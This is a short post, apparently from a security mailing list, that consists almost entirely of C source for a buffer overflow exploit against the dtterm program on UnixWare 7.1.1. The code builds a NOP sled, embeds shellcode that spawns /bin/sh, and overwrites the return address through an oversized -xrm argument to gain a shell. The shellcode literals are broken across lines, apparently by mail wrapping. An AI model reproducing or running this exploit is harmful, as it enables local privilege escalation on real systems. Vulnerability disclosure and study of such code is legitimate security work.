dtterm exploit in Unixware 7.1.1

[jG gM <jggm () mail com>]

Here is code.../*
 * dtterm buffer overflow by jGgM
 * http://www.netemperor.com/en/
 * EMail: jggm () mail com
 * 
*/
#include <stdio.h>
#include <stdlib.h>

char shell[] =
  "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0
\x89\x46\xb4"
  "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50
\xb0\x8d\xe8\xdf"
  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2
\xff\xff\xff"
  "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53
\x8d\x1e\x89\x5e\x08\x53"
  "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8
\xbb\xff\xff\xff\x2f"
  "\x62\x69\x6e\x2f\x73\x68
\xff\xff\xff\xff\xff\xff\xff\xff\xff";

#define NOP     0x90
#define LEN             102

#define BUFFER_SIZE     1052
#define RET_LENGTH      10
#define ADJUST          4

long get_sp(void) {
   __asm__("movl %esp, %eax");
}

int
main(int argc, char *argv[])
{
   char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1];
   long offset, ret;
   int  x, y;

   if(argc > 2) {
      fprintf(stderr, "Usage: %s [offset]\n", argv[0]);
      exit(1);
   } // end of if..

   if(argc == 2) offset = atol(argv[1]);
   else offset = 0;

   ret = get_sp() + 900 + offset;

   for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP;

   x = BUFFER_SIZE - strlen(shell) - ADJUST;

   for(y=0; y<strlen(shell); y++)
      buffer[x++] = shell[y];

   for(y=0; y<RET_LENGTH; y++, x += 4)
      *((int *)&buffer[x]) = ret;

   buffer[x] = 0x00;

   printf("ret = 0x%x,\n", ret);
   printf("offset = %d\n", offset);
   printf("buffer size = %d\n", strlen(buffer));
   execl("/usr/dt/bin/dtterm", "dtterm", "-xrm", buffer, 
NULL);
   printf("exec failed\n");
}